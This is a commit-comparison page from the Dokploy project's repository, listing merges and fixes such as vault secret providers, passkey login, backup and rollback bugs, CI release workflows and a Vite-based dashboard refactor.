Compare commits

..

181 Commits

Author SHA1 Message Date
Mauricio Siu a7adc3c36b refactor: update Vite application structure and dependencies
- Removed the `index.html` file as part of the transition to a new routing system.
- Updated `package.json` scripts to streamline development commands using `concurrently`.
- Enhanced dependency management by adding new packages and updating existing ones in `package.json`.
- Introduced a new server function for branding and session management, improving API interactions.
- Refactored routing to utilize TanStack Start, ensuring better integration with the existing Dokploy architecture.
- Improved static file handling and server response management in the custom Node.js server.
- Updated README to reflect changes in architecture and development processes.
2026-08-11 01:15:43 -06:00
Mauricio Siu f838c07348 Merge branch 'canary' into feat/vite-tanstack-router 2026-08-10 23:38:20 -06:00
Mauricio Siu 2b225a1e4f feat: introduce Vite-based Dokploy application
- Added a new Vite application (`apps/vite`) to serve as a standalone SPA for the Dokploy dashboard, leveraging TanStack Router for routing.
- Implemented server-side handling with a custom Node.js server to manage API requests and serve static files.
- Integrated existing components and utilities from the Dokploy monorepo, ensuring no duplication of code.
- Updated `.dockerignore` and `.gitignore` to include new build artifacts and environment files.
- Enhanced `pnpm-lock.yaml` with new dependencies for the Vite application.
- Created configuration files for Vite, TypeScript, and ESBuild to support the new application structure.
2026-08-10 23:38:04 -06:00
Narciso E. Núñez Arias 00d9603209 Merge pull request #4820 from techdawnarea/mariaDB-color-fix
MariaDB svg color updated: in Dark theme its not visible properly
2026-08-11 00:42:14 -04:00
Narciso E. Núñez Arias cf22a0e058 Merge pull request #4828 from Dokploy/fix/yaml-editor-auto-indent
fix(editor): consistent YAML auto-indent on newline
2026-08-11 00:40:52 -04:00
Narciso E. Núñez Arias c05e6d5a6b Merge pull request #4872 from Dokploy/fix/cmdi-domain-servicename
fix(security): command injection via compose domain serviceName (host escape)
2026-08-11 00:38:57 -04:00
Narciso 286938bbbb fix: sort imports in domain.ts (biome) 2026-08-11 00:22:45 -04:00
Narciso E. Núñez Arias 79b5ff96ca Merge pull request #4791 from PixelPerfector/fix/remote-threshold-server-name
fix(notifications): use real server name in remote threshold alerts
2026-08-11 00:22:12 -04:00
Narciso 604d9b1004 Merge remote-tracking branch 'origin/canary' into fix/cmdi-domain-servicename 2026-08-11 00:18:31 -04:00
Narciso E. Núñez Arias f9057d9304 Merge pull request #4985 from Dokploy/fix/sync-version-release-spec
fix(ci): generate OpenAPI spec from the release commit in sync-version
2026-08-11 00:15:29 -04:00
Narciso E. Núñez Arias ce0fe63b4a Merge pull request #4967 from Dokploy/fix/restore-drop-use-statements
fix(restore): drop USE/CREATE DATABASE statements so mysql/mariadb restores target the selected database
2026-08-10 23:40:10 -04:00
Narciso E. Núñez Arias 218687f46d Merge pull request #4969 from Dokploy/fix/server-threshold-email
fix(notifications): send server threshold alerts through email, resend, gotify and ntfy
2026-08-10 23:29:21 -04:00
Mauricio Siu 2d7caceeed Merge pull request #5035 from alsmadi99/fix/biome-scanner-memory-leak
fix: exclude node_modules/.next from biome scanner, bump to 2.5.7
2026-08-10 16:58:24 -06:00
Mauricio Siu fada032f72 feat: add @aws-sdk/client-secrets-manager dependency to pnpm-lock.yaml
- Included the @aws-sdk/client-secrets-manager package version 3.1097.0 to facilitate AWS Secrets Manager integration for managing environment secrets.
2026-08-10 16:56:55 -06:00
Mauricio Siu be9c8260c6 feat: add AWS Secrets Manager client dependency
- Included the @aws-sdk/client-secrets-manager package to enable integration with AWS Secrets Manager for managing environment secrets.
2026-08-10 16:56:33 -06:00
Mauricio Siu 8ac0e52656 Merge pull request #5037 from Dokploy/feat/vault-provider-integration
feat: third-party vault providers for environment secrets (HashiCorp Vault/OpenBao, Infisical, AWS, Doppler, Azure)
2026-08-10 16:42:02 -06:00
Mauricio Siu 9747e832ac feat: enhance vault provider access control and environment variable handling
- Updated the environment autocomplete component to include projectId and environmentId in vault secret fetching logic.
- Added authorization checks in the vault provider router to ensure users have access to the specified project and environment.
- Modified the vault provider schema to include projectId and optional environmentId for better validation.
- Improved error handling for unauthorized access and invalid vault provider assignments.
2026-08-10 16:41:08 -06:00
autofix-ci[bot] ce717a3de6 [autofix.ci] apply automated fixes 2026-08-10 22:28:45 +00:00
Mauricio Siu f6622428f7 feat: enhance vault provider management and environment variable resolution
- Introduced support for project and environment assignments for vault providers, allowing for more granular access control.
- Updated the vault provider schema to include assignments and modified related components to handle these changes.
- Enhanced UI to display assignment status and allow users to manage project and environment associations effectively.
- Added validation to ensure assignments reference valid projects and environments within the organization.
- Updated tests to cover new functionality related to vault provider assignments and environment variable resolution.
2026-08-10 16:25:39 -06:00
Mauricio Siu b8822a1fde feat: integrate vault provider management and environment variable resolution
- Added support for managing various vault providers (HashiCorp, AWS, Azure, Doppler, Infisical) in the dashboard.
- Implemented environment variable resolution using vault references, allowing seamless integration of secrets into application environments.
- Enhanced UI components to display and manage vault providers effectively.
- Introduced tests for vault reference resolution and environment variable preparation.
- Updated related components to utilize new vault management features.
2026-08-10 11:14:55 -06:00
Mohammad AlSmadi ae2edc79bf fix: enable tailwindDirectives in biome css parser
Biome 2.5.7's CSS parser rejects @apply/@theme (Tailwind v4 syntax)
by default, which broke the format CI job after the version bump.
Enable css.parser.tailwindDirectives and apply the resulting
formatter output (quote-style/line-wrap normalization from the
newer formatter).
2026-08-10 15:31:17 +04:00
Mohammad AlSmadi dced7970ac fix: exclude node_modules/.next from biome scanner, bump to 2.5.7
Biome's scanner walks node_modules and generated build output
(e.g. Next.js/Turbopack .next/dev chunks) regardless of files.includes,
which only governs lint/format targets, not the module-graph scanner.
On this monorepo (112k+ files under node_modules, actively regenerated
.next/dev artifacts) that let the biome daemon's memory grow unbounded
over a long-lived editor session.

Set files.experimentalScannerIgnores to exclude node_modules, .next,
.docker, and dist from the scanner, and bump @biomejs/biome from 2.1.1
to 2.5.7 to pick up several intervening scanner/module-graph fixes
(deadlock fix in 2.5.3, scanner-triggered memory fix in 2.5.2).
2026-08-10 15:07:47 +04:00
Mauricio Siu 771d76a57c Merge pull request #5027 from Dokploy/feat/docker-unified-tabs
feat: unified Docker dashboard with volumes section and file explorer
2026-08-09 13:14:07 -06:00
Mauricio Siu d0eb6ef1ca feat: add volumes section and file explorer for containers and volumes 2026-08-09 13:03:41 -06:00
Mauricio Siu 8637acb56c refactor: simplify SwarmMonitorCard logic and update dashboard structure
- Refactored SwarmMonitorCard to use optional chaining for node data handling.
- Consolidated loading and error states into a single conditional rendering block.
- Updated dashboard layout to include tabs for containers and swarm, enhancing navigation.
- Removed deprecated network-related code from the dashboard.
2026-08-09 12:28:22 -06:00
Mauricio Siu 4791863ff9 Merge pull request #5025 from Dokploy/fix/backup-double-dump-4222
fix: run database dump once per backup and clean up partial uploads on failure
2026-08-09 12:11:28 -06:00
Mauricio Siu f633d4b0a3 fix: run database dump once per backup and clean up partial uploads on failure 2026-08-09 12:10:13 -06:00
Mauricio Siu b7db28408d Merge pull request #5024 from Dokploy/fix/stack-containers-worker-nodes-4520
fix: show stack containers running on worker nodes
2026-08-09 11:38:00 -06:00
Mauricio Siu 1f73ebd0b0 fix: list stack containers across swarm nodes via docker stack ps 2026-08-09 11:37:19 -06:00
Mauricio Siu ef0272a4ec Merge pull request #5019 from Dokploy/fix/chart-animation-4414
fix: disable recharts animation on monitoring charts
2026-08-09 02:34:32 -06:00
Mauricio Siu bd7fb8f23c fix: disable recharts animation on monitoring charts 2026-08-09 02:33:47 -06:00
Mauricio Siu e801b6cda0 Merge pull request #4225 from GuillaumeLecomte1/fix/favicon-theme-toggle
fix(ui): update favicon dynamically based on app theme
2026-08-09 02:19:58 -06:00
Mauricio Siu 05ab210acd Merge pull request #5018 from Dokploy/fix/compose-preview-patches-4243
fix: compose preview not reflecting patches
2026-08-09 02:07:34 -06:00
Mauricio Siu bc935ae3ad fix: apply compose file patches in preview and domain injection 2026-08-09 02:06:23 -06:00
Mauricio Siu 4b90eb0d90 Merge pull request #5017 from Dokploy/fix/terminal-mac-option-keys-4297
fix: allow Option/Alt composed characters in terminals on macOS
2026-08-09 01:30:21 -06:00
Mauricio Siu b20348908f fix: allow Option/Alt composed characters in terminals on macOS 2026-08-09 01:29:42 -06:00
Mauricio Siu f08c53c9b7 Merge pull request #5005 from Dokploy/fix/postgres-image-mountpath-warning
fix: warn on postgres image change when the implied data directory mismatches the mounted volume
2026-08-08 23:37:07 -06:00
Mauricio Siu c0694eb5b2 fix: improve mount path warning for PostgreSQL by handling multiple data mounts 2026-08-08 23:36:48 -06:00
Mauricio Siu c05511db33 Merge pull request #5008 from Dokploy/fix/compose-create-env-file-toggle
fix: add createEnvFile toggle to Compose, mirroring Application
2026-08-08 14:01:26 -06:00
autofix-ci[bot] be71866c96 [autofix.ci] apply automated fixes 2026-08-07 17:51:52 -04:00
Narciso 5c862f7ef4 fix: add createEnvFile toggle to Compose, mirroring Application 2026-08-07 17:28:57 -04:00
Narciso E. Núñez Arias 1de7b515ab Merge pull request #4171 from rpoetrap/fix/docker-host
fix: invalid docker host while using docker desktop
2026-08-07 15:46:51 -04:00
Narciso E. Núñez Arias 91258d00ad Merge pull request #4997 from ews-pgasser/fix/chaining-canary
fix: allow docker compose command chaining
2026-08-07 10:34:08 -04:00
ews-pgasser 65d2853b9e chore: add tests 2026-08-07 12:01:08 +00:00
ews-pgasser f3c7edcfd6 fix: use proper linting 2026-08-07 12:00:55 +00:00
Philipp Gasser fe0a84dde8 Merge branch 'Dokploy:canary' into fix/chaining-canary 2026-08-07 13:00:57 +02:00
Mauricio Siu 6a10923a50 fix: warn when the postgres image implies a data directory that mismatches the mounted volume 2026-08-07 01:34:15 -06:00
Mauricio Siu bcab5b059f Merge pull request #5004 from Dokploy/fix/isolated-deployment-traefik-network-label
fix: pin Traefik routing to the isolated network on isolated deployments
2026-08-07 01:14:42 -06:00
Mauricio Siu a8c35f7501 fix: pin traefik routing to the isolated network when isolated deployment is enabled 2026-08-07 01:13:13 -06:00
Mauricio Siu 9f69f6cbf9 Merge pull request #4998 from Dokploy/fix/monitoring-io-charts-nan
fix: Block I/O and Network I/O monitoring charts not populating
2026-08-06 14:21:44 -06:00
Mauricio Siu b3e7a8a74c fix: parse Block I/O and Network I/O stats to numeric MB so monitoring charts render 2026-08-06 14:20:29 -06:00
Mauricio Siu 309dd567d6 Merge pull request #4624 from fcsouza/fix/structured-log-level
fix(logs): respect log level explicitly declared by structured loggers
2026-08-06 14:00:35 -06:00
Mauricio Siu 340687574a Merge pull request #4824 from Dokploy/fix/log-viewer-false-error-classification
fix(logs): don't classify explicit non-error key/values as error
2026-08-06 13:55:19 -06:00
Mauricio Siu dd04312470 Merge pull request #4994 from elisiumm/fix/nixpacks-static-spa-toggle
fix(ui): expose isStaticSpa toggle for nixpacks + publish directory
2026-08-06 13:43:27 -06:00
Narciso E. Núñez Arias 27377da6fa Merge pull request #3867 from karyanayandi/fix/lazy-initializer-for-usestate
fix: use lazy initializer for useState with function calls
2026-08-06 11:40:29 -04:00
Narciso E. Núñez Arias 3e306e5dba Merge pull request #4122 from Gabrielgvl/fix/server-schedule-pipefail
fix: preserve server schedule failures through tee pipeline
2026-08-06 11:21:22 -04:00
Narciso E. Núñez Arias d8bb3f406c Merge pull request #4176 from daniel-abramov/canary
fix: add unzip to arch server set up
2026-08-06 11:13:45 -04:00
ews-pgasser ac57e22b87 fix: allow docker compose command chaining 2026-08-06 15:25:04 +02:00
elisiumm 94098b2686 fix(ui): expose isStaticSpa toggle for nixpacks + publish directory
The backend already honors isStaticSpa for the Nixpacks builder when a
publishDirectory is set (getStaticCommand generates an SPA-aware nginx
config with try_files fallback to index.html), but the build type form
only wired the field for the Static builder. As a result the toggle
never rendered for Nixpacks and any save in that mode silently cleared
the flag via the discriminated union schema and resetData mapping.

Add isStaticSpa to the nixpacks schema variant and resetData case,
render the same SPA checkbox once a publish directory is set, and
include the field in the save mutation payload for nixpacks.

Fixes #4993
2026-08-06 14:25:29 +02:00
Mauricio Siu ff9fa7418f fix(ci): generate OpenAPI spec from the release commit in sync-version
The cli/sdk steps copied the repo-root openapi.json, which was last committed in March, and the mcp step fetched docs.dokploy.com, which canary pushes can overwrite. Generate the spec from the release commit instead so each package release matches its dokploy tag.
2026-08-06 01:28:18 -06:00
Mauricio Siu 53feb9dd5b Merge pull request #4984 from Dokploy/fix/sync-version-pnpm-pin
fix(ci): pin pnpm and strip v prefix in sync-version job
2026-08-06 01:20:35 -06:00
Mauricio Siu b6190ff314 fix(ci): pin pnpm and strip v prefix in sync-version job
npm install -g pnpm resolved to pnpm 11, which turns the esbuild ignored-build-scripts warning into a fatal error, so sync-version has failed on every release since v0.29.5 and mcp/cli/sdk were never bumped or published. Pin pnpm to 10.22.0 (same as packageManager) and write the version without the v prefix so npm packages get valid semver.
2026-08-06 01:19:37 -06:00
Mauricio Siu abe774650f Merge pull request #4962 from Dokploy/fix/compose-env-file-special-chars
fix: preserve special characters in Compose-generated .env values
2026-08-06 00:58:04 -06:00
Mauricio Siu 1f04ebf3cd Merge pull request #4983 from Dokploy/fix/release-tag-target-commitish
fix(ci): create release tags on the pushed commit instead of default branch
2026-08-06 00:43:48 -06:00
Mauricio Siu 472ebed06c fix(ci): create release tags on the pushed commit instead of default branch 2026-08-06 00:42:22 -06:00
Mauricio Siu 4ce24dfdd3 Merge pull request #4982 from Dokploy/fix/hotfix-cherry-pick-permissions
fix(ci): push hotfix cherry-picks with PAT to satisfy branch rules
2026-08-06 00:29:02 -06:00
Mauricio Siu 06b67d4519 fix(ci): push hotfix cherry-picks with PAT to satisfy branch rules 2026-08-06 00:26:52 -06:00
Mauricio Siu 5dd2b5beec Merge branch 'main' into canary 2026-08-06 00:12:08 -06:00
Mauricio Siu 35af10ca07 Bump version to v0.30.0 2026-08-06 00:11:16 -06:00
Mauricio Siu 75448f358e Merge pull request #4972 from Dokploy/fix/domain-single-label-hostname
fix(domain): allow single-label hostnames without a TLD
2026-08-06 00:01:57 -06:00
Mauricio Siu 4e675d6f3f Merge pull request #4978 from Dokploy/hotfix/v0.29.14
Hotfix v0.29.14: backport 20 bug fixes
2026-08-06 00:00:20 -06:00
Mauricio Siu 57fae73853 Update packages/server/src/utils/schedules/utils.ts
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-08-05 23:54:32 -06:00
Mauricio Siu dd542994a4 chore: release v0.29.14 2026-08-05 23:49:59 -06:00
Narciso E. Núñez Arias bcf97f92ab Merge pull request #4772 from rifatdinc/fix-watch-paths-added-removed-files
fix(webhook): include added and removed files in watchPaths validation

(cherry picked from commit 3f98208f03)
2026-08-05 23:48:13 -06:00
Mauricio Siu e19d7bbf0e Merge pull request #4971 from Dokploy/fix/restore-dialog-width
fix(ui): widen restore backup dialog to match other backup dialogs

(cherry picked from commit 3495fc89bf)
2026-08-05 23:48:12 -06:00
Mauricio Siu 3e4ed0c299 Merge pull request #4966 from Dokploy/fix/requests-hostname-filter-crash
fix(requests): guard RequestHost before filtering to avoid crash on malformed logs

(cherry picked from commit a0162ab566)
2026-08-05 23:48:05 -06:00
Narciso E. Núñez Arias 112b2c8358 Merge pull request #4923 from dmtrTm/fix/rollback-environment-variables
fix: resolve environment variables on application rollback
(cherry picked from commit 46c87a22b0)
2026-08-05 23:48:04 -06:00
Mauricio Siu b7fdbd4704 Merge pull request #4557 from rnkp755/fix/env-update-issue
fix: invalidate railpack build cache when env changes
(cherry picked from commit a1230098c9)
2026-08-05 23:48:04 -06:00
Mauricio Siu 13b897c01d Merge pull request #4959 from Dokploy/fix/cleanup-preview-deployments-on-app-delete
fix(application): remove preview deployments when deleting an application

(cherry picked from commit 056b6983db)
2026-08-05 23:48:04 -06:00
Mauricio Siu 83008205b9 Merge pull request #4955 from Dokploy/fix/schedule-run-manually-deployment-metadata
fix(schedule): return deployment metadata from runManually and fail early on missing container

(cherry picked from commit 11e93dde38)
2026-08-05 23:48:03 -06:00
Mauricio Siu 0f0102ff2d Merge pull request #4933 from CyrilBIENNE/fix/preview-deployment-github-credentials
fix(preview-deployment): refetch github provider before authenticating

(cherry picked from commit a058d1f5c7)
2026-08-05 23:48:03 -06:00
Mauricio Siu cbe78950cc Merge pull request #4954 from Dokploy/fix/error-page-status-code
fix(ui): show real status code on error page

(cherry picked from commit 3835a6fe68)
2026-08-05 23:48:03 -06:00
Mauricio Siu 49ee74c89d Merge pull request #4953 from Dokploy/fix/dropdown-dialog-window-blur
fix(ui): keep dropdown menus open on window blur

(cherry picked from commit 51cb7d2287)
2026-08-05 23:48:02 -06:00
Mauricio Siu e88d13f67b Merge pull request #4947 from azizbecha/fix/4945-deployment-delete-loading
fix(ui): scope deployment delete loading

(cherry picked from commit 2be9e1e3df)
2026-08-05 23:48:02 -06:00
Mauricio Siu 2f89981597 Merge pull request #4948 from azizbecha/fix/collapsed-sidebar-avatar
fix(ui): prevent collapsed avatar clipping

(cherry picked from commit 3b0bdd8f74)
2026-08-05 23:48:02 -06:00
Mauricio Siu c7a96ed82c Merge pull request #4782 from imrja8/fix/watchpath-badge-removal
fix(ui): resolve unclickable watch path removal button

(cherry picked from commit 018e56a7b4)
2026-08-05 23:48:01 -06:00
Mauricio Siu d4e087e128 Merge pull request #4937 from Dokploy/fix/persist-trigger-type-provider-forms
fix(ui): persist trigger type selection in GitHub provider forms

(cherry picked from commit bb73c6e6dd)
2026-08-05 23:48:01 -06:00
Mauricio Siu 7f41b098f9 Merge pull request #4911 from AbiRaditya/fix/cloudflare-badge-tooltip-error-title
fix(domains): don't render CDN info message as an error in DNS tooltip

(cherry picked from commit 5df820a740)
2026-08-05 23:48:01 -06:00
Mauricio Siu 43229c89da Merge pull request #4931 from Dokploy/fix/postgres-100-arg-limit-finders
fix: avoid postgres 100-argument limit in schedule, volume backup and port queries
(cherry picked from commit deebf0f107)
2026-08-05 23:48:00 -06:00
Mauricio Siu c6607f3a19 Merge pull request #4924 from dmtrTm/fix/rollback-query-arg-limit
fix: avoid postgres 100-argument limit in findRollbackById
(cherry picked from commit 069939e8f9)
2026-08-05 23:48:00 -06:00
Mauricio Siu 6e84f39a9f Merge pull request #4929 from Dokploy/fix/remove-buttons-not-persisting
fix(ui): make interactive icons inside badges clickable again

(cherry picked from commit 425d478a0b)
2026-08-05 23:47:59 -06:00
Mauricio Siu b024c9c2fd Merge pull request #4626 from veksen/veksen/textarea-resets-while-editing
fix: prevent environment form from resetting while editing
(cherry picked from commit 73e4fdd757)
2026-08-05 23:47:59 -06:00
Mauricio Siu 982f4d70f7 Merge pull request #4890 from SteadEXE/canary
fix(ui): add cursor pointer style for buttons

(cherry picked from commit 0fc75840d2)
2026-08-05 23:47:59 -06:00
Mauricio Siu ba24ae6797 Merge pull request #4977 from Dokploy/feat/hotfix-release-flow
feat(ci): add hotfix cherry-pick and release workflows
2026-08-05 23:34:52 -06:00
Mauricio Siu 2f8af90da4 feat(ci): add hotfix cherry-pick and release workflows 2026-08-05 23:34:01 -06:00
Narciso E. Núñez Arias 3f98208f03 Merge pull request #4772 from rifatdinc/fix-watch-paths-added-removed-files
fix(webhook): include added and removed files in watchPaths validation
2026-08-05 22:21:12 -04:00
Narciso 5d231bf3e3 fix(domain): allow single-label hostnames without a TLD 2026-08-04 17:38:13 -04:00
Mauricio Siu 0124613516 Merge pull request #4944 from Dokploy/feat/add-github-provider-baseurl
feat: add baseUrl to github provider to support github enterprise urls
2026-08-04 11:53:04 -06:00
Mauricio Siu 3495fc89bf Merge pull request #4971 from Dokploy/fix/restore-dialog-width
fix(ui): widen restore backup dialog to match other backup dialogs
2026-08-04 11:51:24 -06:00
Mauricio Siu 5ae289cae3 fix(ui): widen restore backup dialog to match other backup dialogs 2026-08-04 11:47:04 -06:00
Mauricio Siu 3638c7b35b fix(notifications): send server threshold alerts through email, resend, gotify and ntfy channels 2026-08-04 11:39:32 -06:00
Mauricio Siu 2505c347bc fix(restore): drop USE/CREATE DATABASE statements so mysql/mariadb restores target the selected database 2026-08-04 11:34:08 -06:00
Mauricio Siu a0162ab566 Merge pull request #4966 from Dokploy/fix/requests-hostname-filter-crash
fix(requests): guard RequestHost before filtering to avoid crash on malformed logs
2026-08-04 10:59:35 -06:00
Narciso 314a31dc27 fix(requests): guard RequestHost before filtering to avoid crash on malformed logs 2026-08-04 09:47:40 -04:00
autofix-ci[bot] 108541c957 [autofix.ci] apply automated fixes 2026-08-04 02:36:10 +00:00
Narciso 14be318502 feat: remove unnecesary checks for ip and comments 2026-08-03 22:35:41 -04:00
Narciso d6c2e38cb0 Merge remote-tracking branch 'origin/canary' into feat/add-github-provider-baseurl
# Conflicts:
#	apps/dokploy/drizzle/meta/0177_snapshot.json
#	apps/dokploy/drizzle/meta/_journal.json
2026-08-03 19:34:26 -04:00
Narciso ff39cb51e6 fix: escape env values written to the Compose .env file so $, #, and quotes survive literally 2026-08-03 17:57:02 -04:00
Narciso E. Núñez Arias 46c87a22b0 Merge pull request #4923 from dmtrTm/fix/rollback-environment-variables
fix: resolve environment variables on application rollback
2026-08-03 13:41:06 -04:00
Mauricio Siu 1776e6ad4f Merge branch 'canary' into fix/structured-log-level 2026-08-03 04:32:25 -06:00
autofix-ci[bot] 9f1ba37e13 [autofix.ci] apply automated fixes 2026-08-03 10:24:29 +00:00
Mauricio Siu 60112d84a5 fix(logs): require complete no-error values in colon pairs 2026-08-03 04:24:02 -06:00
Mauricio Siu 89c0e9ef67 Merge pull request #4960 from Dokploy/feat/network-mtu
feat(networks): add MTU option to network creation
2026-08-03 04:12:04 -06:00
autofix-ci[bot] 8583b3c1a5 [autofix.ci] apply automated fixes 2026-08-03 10:10:27 +00:00
Mauricio Siu 69a5615544 feat(networks): add MTU option to network creation 2026-08-03 04:09:50 -06:00
Mauricio Siu a1230098c9 Merge pull request #4557 from rnkp755/fix/env-update-issue
fix: invalidate railpack build cache when env changes
2026-08-03 03:55:49 -06:00
autofix-ci[bot] eacb1440e0 [autofix.ci] apply automated fixes 2026-08-03 09:55:15 +00:00
Mauricio Siu 7e38861985 Merge remote-tracking branch 'origin/canary' into fix/env-update-issue
# Conflicts:
#	packages/server/src/utils/builders/railpack.ts
2026-08-03 03:53:41 -06:00
Mauricio Siu 056b6983db Merge pull request #4959 from Dokploy/fix/cleanup-preview-deployments-on-app-delete
fix(application): remove preview deployments when deleting an application
2026-08-03 03:43:17 -06:00
Mauricio Siu f6b0700ea5 fix(application): remove preview deployments when deleting an application 2026-08-03 03:42:27 -06:00
Mauricio Siu 4325605578 Remove freshAge from session configuration 2026-08-03 02:42:27 -06:00
Mauricio Siu 5d11a045cc Merge pull request #4957 from Dokploy/feat/passkeys
feat(auth): add passkey support
2026-08-03 02:40:32 -06:00
Mauricio Siu d92de5a4a0 fix(build): exclude CLI-only auth config from server dist build 2026-08-02 21:31:42 -06:00
Mauricio Siu 81051ca965 refactor(passkeys): list passkeys via tRPC instead of better-auth client atom 2026-08-02 16:43:03 -06:00
Mauricio Siu 7b0bcee652 feat(auth): add passkey support via better-auth 2026-08-02 16:36:44 -06:00
Mauricio Siu 11e93dde38 Merge pull request #4955 from Dokploy/fix/schedule-run-manually-deployment-metadata
fix(schedule): return deployment metadata from runManually and fail early on missing container
2026-08-02 16:22:35 -06:00
Mauricio Siu cbb3450b93 fix(schedule): return deployment metadata from runManually and fail early on missing container 2026-08-02 16:15:20 -06:00
Mauricio Siu a058d1f5c7 Merge pull request #4933 from CyrilBIENNE/fix/preview-deployment-github-credentials
fix(preview-deployment): refetch github provider before authenticating
2026-08-02 15:36:54 -06:00
Mauricio Siu 3835a6fe68 Merge pull request #4954 from Dokploy/fix/error-page-status-code
fix(ui): show real status code on error page
2026-08-02 15:29:36 -06:00
Mauricio Siu 325c2a4180 fix(ui): show real status code on error page 2026-08-02 15:28:55 -06:00
Mauricio Siu 51cb7d2287 Merge pull request #4953 from Dokploy/fix/dropdown-dialog-window-blur
fix(ui): keep dropdown menus open on window blur
2026-08-02 15:05:09 -06:00
Mauricio Siu 081cf3fb80 fix(ui): keep dropdown menus open on window blur 2026-08-02 14:29:57 -06:00
Mauricio Siu 2be9e1e3df Merge pull request #4947 from azizbecha/fix/4945-deployment-delete-loading
fix(ui): scope deployment delete loading
2026-08-02 14:06:01 -06:00
Mauricio Siu 3b0bdd8f74 Merge pull request #4948 from azizbecha/fix/collapsed-sidebar-avatar
fix(ui): prevent collapsed avatar clipping
2026-08-02 13:59:56 -06:00
Aziz Becha 6e79270423 fix(ui): track concurrent deployment deletes 2026-08-01 00:59:17 +01:00
Aziz Becha 9999f0a18e fix(ui): prevent collapsed avatar clipping
Refs Dokploy/dokploy#4946
2026-08-01 00:55:24 +01:00
Aziz Becha 268ec1f397 fix(ui): scope deployment delete loading 2026-08-01 00:55:20 +01:00
Mauricio Siu 018e56a7b4 Merge pull request #4782 from imrja8/fix/watchpath-badge-removal
fix(ui): resolve unclickable watch path removal button
2026-07-31 15:15:12 -06:00
Narciso 1cf81e3802 feat: add baseUrl to github provider to support github enterprise url 2026-07-31 11:42:12 -04:00
Mauricio Siu bb73c6e6dd Merge pull request #4937 from Dokploy/fix/persist-trigger-type-provider-forms
fix(ui): persist trigger type selection in GitHub provider forms
2026-07-30 11:23:32 -06:00
Narciso 15bc4b5dc5 fix(ui): persist trigger type selection in GitHub provider forms 2026-07-29 15:53:40 -04:00
Cyril BIENNE 30e8d9b86e fix(preview-deployment): refetch github provider before authenticating
`findApplicationById` redacts `githubPrivateKey` from the `github`
relation, but `createPreviewDeployment` passed that redacted object
straight to `authGithub`. Since `haveGithubRequirements` requires the
private key, it always returned false and `authGithub` threw
`TRPCError NOT_FOUND: "Github Account not configured correctly"`.

That throw is uncaught in `pages/api/deploy/github.ts`, so every
`pull_request` webhook returned a bare 500 and no preview deployment
was ever created.

Resolve the provider through `findGithubById(application.githubId)`
instead, matching how every other call site obtains credentials. This
keeps the redaction introduced for `findApplicationById` intact.

Fixes #4898

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-29 13:51:12 +02:00
Mauricio Siu 5df820a740 Merge pull request #4911 from AbiRaditya/fix/cloudflare-badge-tooltip-error-title
fix(domains): don't render CDN info message as an error in DNS tooltip
2026-07-28 16:35:53 -06:00
Mauricio Siu ba5af51347 Merge pull request #4932 from Dokploy/feat/add-icons
feat(icon): enhance icon management for services
2026-07-28 16:35:16 -06:00
Mauricio Siu 6e1d020769 feat(icon): enhance icon management for services
- Updated ShowIconSettings component to handle both application and compose service types.
- Added new icon column to the compose table in the database.
- Implemented fetching and updating of icons for services in the environment and application pages.
- Introduced fetchTemplateLogo function to retrieve logos for templates, improving icon handling for compose services.
2026-07-28 15:50:43 -06:00
Mauricio Siu deebf0f107 Merge pull request #4931 from Dokploy/fix/postgres-100-arg-limit-finders
fix: avoid postgres 100-argument limit in schedule, volume backup and port queries
2026-07-28 15:22:18 -06:00
Mauricio Siu 7047e4f199 fix: avoid postgres 100-argument limit in schedule, volume backup and port queries 2026-07-28 15:19:56 -06:00
Mauricio Siu 069939e8f9 Merge pull request #4924 from dmtrTm/fix/rollback-query-arg-limit
fix: avoid postgres 100-argument limit in findRollbackById
2026-07-28 15:13:42 -06:00
Mauricio Siu b7e5fadf53 Merge pull request #4930 from Dokploy/chore/remove-redis-leftovers
chore: remove leftover Redis infrastructure code
2026-07-28 15:08:19 -06:00
Mauricio Siu 260af232e7 chore: remove leftover Redis infrastructure code
Dokploy stopped using Redis in v0.29.9 when the deployment queue moved
to an in-memory implementation, and install.sh no longer creates the
dokploy-redis service. Remove the remaining references so fresh installs
don't report Redis as unhealthy:

- checkRedisHealth from infrastructure health check
- cleanRedis/reloadRedis endpoints and their UI actions
- initializeRedis dev setup and redis-connection config
- unused bullmq dependency
2026-07-28 14:23:10 -06:00
Mauricio Siu 425d478a0b Merge pull request #4929 from Dokploy/fix/remove-buttons-not-persisting
fix(ui): make interactive icons inside badges clickable again
2026-07-28 14:09:42 -06:00
Narciso 268fd7d771 fix(ui): make interactive icons inside badges clickable again 2026-07-28 13:43:01 -04:00
dmtrTm 4ba7972ffa fix: avoid postgres 100-argument limit in findRollbackById
Rolling back any application fails with

  PostgresError: cannot pass more than 100 arguments to a function (54023)

since 0175_fantastic_peter_quill took the application table to 101 columns.
findRollbackById hydrated deployment -> application -> environment -> project,
so drizzle compiled all 101 application columns plus the nested blob into one
json_build_array() call, above the FUNC_MAX_ARGS = 100 limit. At 99 columns it
sat exactly on the limit.

None of that nested data is read: the routers only use deployment.applicationId,
and rollback()/removeRollbackById() read the rollback row itself. Drop the nested
relations, the same shape as #4257 for findPreviewDeploymentById.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-28 15:49:38 +07:00
dmtrTm 2739690758 fix: resolve environment variables on application rollback
rollbackApplication() called prepareEnvironmentVariables() without the
environment env, so every ${{environment.*}} reference threw "Invalid
environment variable: environment.X" and the rollback failed with an
opaque 400 before the swarm service was updated.

fb749cd86 added the third argument to every other call site but left
services/rollbacks.ts, which had been calling the helper since 24bff9689.
The value is already captured in the snapshot by createRollback(); both
fullContext declarations simply typed environment as { project: Project },
so the missing argument was invisible to the compiler.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-28 14:39:46 +07:00
Abi Raditya 8f0702c4da fix(domains): don't render CDN info message as an error in DNS tooltip
validateDomain returns isValid: true for CDN-fronted domains but reuses
the `error` field to carry the provider's informational warning. Both
domain tooltips branched on `error` alone, so the message rendered under
a red "Error:" heading even though the badge correctly showed a green
"Behind Cloudflare" state.

Check the valid+message case first, matching how the badge already
distinguishes the two. Applied to both the table view (columns.tsx) and
the card view (show-domains.tsx), which shares the same tooltip.

Fixes #4910

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-26 21:13:26 +07:00
Mauricio Siu a49615038f Merge pull request #4883 from Dokploy/canary
🚀 Release v0.29.13
2026-07-21 10:00:57 -06:00
